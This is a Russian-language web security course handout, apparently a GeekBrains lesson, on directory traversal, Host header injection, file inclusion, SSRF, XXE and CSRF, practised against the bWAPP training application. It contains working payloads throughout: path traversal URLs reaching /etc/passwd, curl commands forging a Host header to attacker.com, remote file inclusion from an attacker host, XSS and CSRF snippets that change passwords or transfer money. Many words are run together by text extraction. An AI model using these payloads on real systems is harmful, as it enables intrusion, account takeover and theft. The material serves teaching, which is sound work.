Академический Документы
Профессиональный Документы
Культура Документы
Отсутствиеконтролядоступа
к
функциональному
уровню
Принципы
атакнафункциональныйуровень
План
Занятия
Что
такое
обходкаталога
Обход
каталогавкаталогах
Обход
каталогавфайлах
ПредназначениезаголовкахоставHTTP
Атака
на
заголовокHost,приводящаякотравлениюкэша
Атака
на
заголовокHost,приводящаяксбросупароля.
Включение
локальногоилиудаленногофайла
Атака
на
ограничениедоступаустройствчерезUserAgent
Что
такое
подделказапросовнасторонесервера(SSRF)
Атака
SSRF
Что
такое
внешниеобъектыXML(XXE)
A-8.
Подделкамежсайтовыхзапросов
ПринципыCSRFатак
CSRF
присменепользователя
CSRF
присменепользовательскихданных
©geekbrains.ru
CSRF
припереводеденежныхсредстввинтернет-банкинге
Домашнее
задание
Дополнительныематериалы
Используемая
литература
©geekbrains.ru 1
Принципы атак на функциональный
уровень
Атака на функциональный уровень - Если защита заключается лишь в том, что функции спрятаны, то
злоумышленникможетпопытатьсяполучитьдоступкзакрытымфункциям,подбираявызовыкним.
План
Занятия
Чтотакое
обходкаталога
По сути, обход каталога является частным случаем уязвимости “Небезопасная ссылка на объект” , но
тем не менее OWASP выделяет данную уязвимость в целую категорию, которая заслуживает
внимание.
Рассмотрим
парупримеровсуязвимостью“Обходкаталога”.
©geekbrains.ru 2
Для
BWAPP
ссылкинаобходкаталогабудуттакими:
URL:
http:///bWAPP/directory_traversal_2.php?directory=documents
http:///bWAPP/directory_traversal_2.php?directory=.
http:///bWAPP/directory_traversal_2.php?directory=passwords
http:///bWAPP/directory_traversal_2.php?directory=../
http:///bWAPP/directory_traversal_2.php?directory=../../
http:///bWAPP/directory_traversal_2.php?directory=../../../
Как можно понять из примера, если права на каталог пользователю установлены неверно, то,
используя команду ‘../’ (две точки и слэш), пользователь поднимается на уровень вверх, в обход
каталога,
к
которомуунегоестьправаивозможностьпросматриватькаталогцеликом.
©geekbrains.ru 3
Обход
каталогавкаталогах
Говоря об этой уязвимости, ее можно назвать “классикой”, т.к именно с нее начинается безопасность
WEB-серверовиWEB-платформ.
Современные веб-сервера не дадут Вам выйти из-за пределов корневого каталога (хотя в 2000-х эта
уязвимость
встречаласьповсеместно).
Но в современных серверах уязвимость встречаеться там, где приложение подгружает файл, в этом
месте
как
раз
такивозможноосуществитьатакунаобходкаталога.Обэтомслайдниже.
©geekbrains.ru 4
Обход
каталогавфайлах
Вот
как
раз
парупримеровнаобходкаталога,гдеподгружаетсяфайл.
Классикой
жанрав2000-хбылозайтивобходкаталогавпапку/etc/passwdна*nixсистеме.
Но могу Вас уверить, что и сейчас эту уязвимость можно встретить в 17 процентах веб-серверов (По
статистике Owasp за 2016 год), главная причина - неопытные администраторы, забывшие установить
права
на
каталогиифайлы,либобанальныйчеловеческийфактор.
URL:
http:///bWAPP/directory_traversal_1.php?page=message.txt
http:///bWAPP/directory_traversal_1.php?page=config.inc.php
http:///bWAPP/directory_traversal_1.php?page=../../../etc/passwd
http:///bWAPP/directory_traversal_1.php?page=passwords/heroes.xml
©geekbrains.ru 5
Предназначение заголовка хоста в
HTTP
Если мы посмотрим в RFC 2068, который регламентирует взаимодействию по протоколу HTTP то
увидим:
Но это поле контролируется отправителем и может быть подменено на любое другое, тогда сайт
будет
взаимодействоватьсложнымсервером.
Для атаки с подменой Host используются разные трюки. Одним из них является указание сразу
нескольких заголовков Host с разными значениями и использование того факта, что веб-сервер и
система
кешированиямогутвзятьразныезначения.
©geekbrains.ru 6
URL:
http://itsecgames.com/bWAPP/hostheader_1.php
curl
--verbose
--header"Host:attacker.com"
"http://itsecgames.com/bWAPP/hostheader_1.php"
или
можно
использоватьTamperData
в
качестве
именихостаможетбытьитакое:
error"onerror='alert(1)'
тогда
будем
иметьxss
©geekbrains.ru 7
Атака на заголовок Host, приводящая к
сбросу
пароля.
Другой способ атаки возможен из-за недостаточно надёжной проверки допустимого значения Host.
Скажем, для сброса пароля генерируется ссылка https://site.com/reset.aspx?resetcode и отправляется
по e-mail. Пользователь отправляет скрипту reset.aspx resetcode и сбрасывает себе пароль. Если
ссылка генерируется на основании заголовка Host, то хакер может сделать запрос, подменив этот
заголовок, и на почту пользователю отправится ссылка https://attacker.com/reset.aspx?resetcode, если
пользователь нажмет на ссылку, то он передаст resetcode хакеру и хакер сможет сбросить пароль
пользователю,пройдяпоправильнойссылкеhttps://site.com/reset.aspx?resetcode
А еще через двоеточие в заголовке разрешается указывать порт, но вместо порта злоумышленник
может
вставитьсвойдомен,например:Host:example.com:@attacker.com.
Это приведёт к формированию URI в формате с указанием имени и пароля через двоеточие, но сама
ссылка
уже
будетуказыватьнадомензлоумышленника:http://example.com:@attacker.com.
Но, пожалуй, самым неожиданным фактом, позволяющим провести атаку, является указание в
запросе абсолютного пути ресурса. Дело в том, что согласно протоколу HTTP/1.1 при указании
абсолютного пути ресурса значение заголовка Host игнорируется, а в качестве него берётся хост из
пути ресурса. Это приводит к тому, что даже безопасно настроенный веб-сервер в таком случае
принимает запрос с подменённым значением Host, и то веб-приложение, которое использует HOST
вместо
SERVER_NAME,подверженоданнойатаке.
URL
:
http
:
//itsecgames.com/bWAPP/hostheader_2.php
curl --
verbose --header "Host: attacker.com" --data "email=bill%40microsoft.com&action=reset"
"http://itsecgames.com/bWAPP/hostheader_2.php"
©geekbrains.ru 8
Включение локального или удаленного
файла
Локальный
файлвключитьможнотак:http://owasp/bWAPP/rlfi.php?language=../../../etc/passwd
Нотут
же
можноиподключитьудаленныйфайл:
http://owasp/bWAPP/rlfi.php?language=http://attacker.com/evil/rfi.txt
Например, закрытый клуб пользователей Iphone. Подменить значения useragent очень легко,
например, используя дополнение для chrome “Random user agent”, дополнение позволяет выставить
любое
значениеuser-agent,включаядажеRandom,прикаждомновомзапускебраузера.
Либо
использоватьдополнениедляFireFoxUserAgentSwitcher
©geekbrains.ru 9
Что такое подделка запросов на
стороне
сервера(SSRF)
Межсерверная подделка запросов происходит, когда мы отправляем пакет А на сервер, а сервер
отправляет
пакетВдругомусервису(натомжехостеилинадругом)
SSRF будет, если мы сможем влиять на поля запроса "В" манипулированием параметрами нашего
запроса
"А".
Атака
SSRF
Традиционные атаки направлены непосредственно на целевую систему и относительно легко
обнаруживаются IDS-системами или блокируются межсетевыми экранами. SSRF – пример более
сложной атаки, которую труднее предотвратить, так как атака осуществляется не напрямую, а через
посредника,
и
эксплойтпередаётсявпреобразованномвиде,чтозатрудняетегообнаружение.
Не
путать
с
CSRFэтопохожее,нодругое.
CSRF (англ. Сross Site Request Forgery — «Межсайтовая подделка запроса», также известен как
XSRF) — вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если
жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на
другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную
операцию
(например,переводденегнасчётзлоумышленника).
©geekbrains.ru 10
Сканирование
портовотbee-boxсвыводомрезультатовхакеру:
Делаем запрос, которые цепляет в параметр language RFI, в котором на PHP написан сканер
(ssrf-1.txt), IP для сканирования в php скрипт передается соседним параметром (?ip=scanme.nmap.org)
а
результат виденклиентувответесервера.
http://owasp/bWAPP/rlfi.php?ip=192.168.1.1&language=http://attacker.com/evil/ssrf-1.txt
Чтотакое
внешниеобъектыXML(XXE)
Entity - ссылки на данные, которые работают как аббревиатуры или могут располагаться на внешних
локациях.(
https://xmlwriter.net/xml_guide/entity_declaration.shtml)
XXE
(XML
ExternalEntityAttacks)-Атакапротивприложения,котороеанализируетвходящийXML.
Эта атака происходит, когда входящий XML содержит ссылку на внешний объект, которая
некорректно
обрабатываетсяXML-парсером.
Через
XXE
можетбытьреализованаатакаSSRF.
©geekbrains.ru 11
XMLHttpRequest (XMLHTTP, XHR) — API, доступное в скриптовых языках браузеров, таких как
JavaScript.
Использует запросы HTTP или HTTPS напрямую к веб-серверу и загружает данные ответа сервера
напрямую в вызывающий скрипт. Информация может передаваться в любом текстовом формате,
например, в XML, HTML или JSON. Позволяет осуществлять HTTP-запросы к серверу без
перезагрузки
страницы.
В
примере
отправляетсятакойPOSTHTTP-запрос,чтобыдругойскриптсбросилsecretпользователя.
Но
этот
запросвключаетXMLзапрос,вкоторыйможновклиниться.
A-8.Подделка
межсайтовыхзапросов
ПринципыCSRFатак
CSRF
или
XSRF(СrossSiteRequestForgery)
Межсайтовая подделка запроса Атака на клиентов. Если жертва заходит на сайт хакера, от её лица
незаметно отправляется запрос с вредоносной операцией на легитимный сервер. Для осуществления
данной атаки жертва должна быть аутентифицирована на том сервере, на который отправляется
запрос.
©geekbrains.ru 12
Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос
на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную
операцию(например,переводденегнасчётзлоумышленника).
Для осуществления данной атаки жертва должна быть аутентифицирована на том сервере, на
который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со
стороны
пользователя,которыйнеможет
бытьпроигнорированилиподделанатакующимскриптом.
Например, пользователь Маша может просматривать форум, где другой пользователь, Александр,
разместил
сообщение.
Пусть Александр создал тег <img>, в котором в качестве источника картинки указан URL, при
переходе
по
которомувыполняетсядействиенасайтебанкаМаши,например:
Александр:
Привет,Маша!Посмотри,какоймилыйкотик:
<imgsrc
="http://bank.com/withdraw?account=Maria&amount=1000000&for=Aleksandr">
Если банк Маши хранит ее информацию об аутентификации в куки и, если куки еще не истекли, при
попытке загрузить картинку браузер Маши отправит запрос на перевод денег на счет Александра и
подтвердит
аутентификациюприпомощи
куки.
Таким
образом,транзакцияпройдёт,хотяеевыполнениепроизойдетбезведомаМаши.
Принципы
CSRFатак:
● Подделкамежсайтовыхзапросов
присменепароля;
● Подделкамежсайтовыхзапросов
присменепользовательскихданных;
● Подделкамежсайтовыхзапросов
припереводеденежныхсредстввинтернет-банкинге.
©geekbrains.ru 13
CSRF
присменепользователя
После атаки: если теперь другой пользователь зайдет на страничку блога, его браузер попытается
подгрузить
картинку,отправитзапроснасменупароля,парольскинетсявevil
CSRF
присменепользовательских
данных
POST
request
©geekbrains.ru 14
Запись
имеетограничениеподлиневбазеданных,поэтомунадоскриптобрезать:
hack
<script>
varxmlhttp;
xmlhttp
=newXMLHttpRequest();
xmlhttp
.
open
(
"POST","http://192.168.1.55/bWAPP/csrf_3.php",true);
xmlhttp
.
setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp
.
withCredentials=true;
xmlhttp
.
send
(
"secret=awesome&login=bee&action=change");</script>
CSRF
припереводеденежных
средств
в
интернет-банкинге
<img src
="http:///bWAPP/csrf_2.php?account=666-66666-66&amount=100&action=transfer" height
="0"
width
="0">
©geekbrains.ru 15
У тех кто, будет заходить и видеть эту запись, через CSRF со счета будет списываться по amount=100
условных EUR.
Домашнее
задание
1. Провестиатакуназаголовокхоста,приводящуюкотравлениюкэша.
2. Исследовать атаку на включение удаленного файла, выполнить атаку, включив произвольный
файл
сдругогохостинга.
3. Внедрить проверку на User-Agent в своем Web-приложении, осуществить спуфинг атаку, на
User-Agent.
4. * Сделать защиту от спуфинг атак подмены User-agent. (Чтобы даже при подмене User-agent,
серверопределялверныйUser-Agent).
Дополнительныематериалы
1. МетодызащитыотCSRF-атаки(https://habrahabr.ru/post/318748/)
2. Типичныео шибкипризащитесайтовотCSRF-атак(https://habrahabr.ru/post/235247/)
Используемая
литература
Для
подготовкиданногометодическогопособиябылииспользованыследующиересурсы:
©geekbrains.ru 16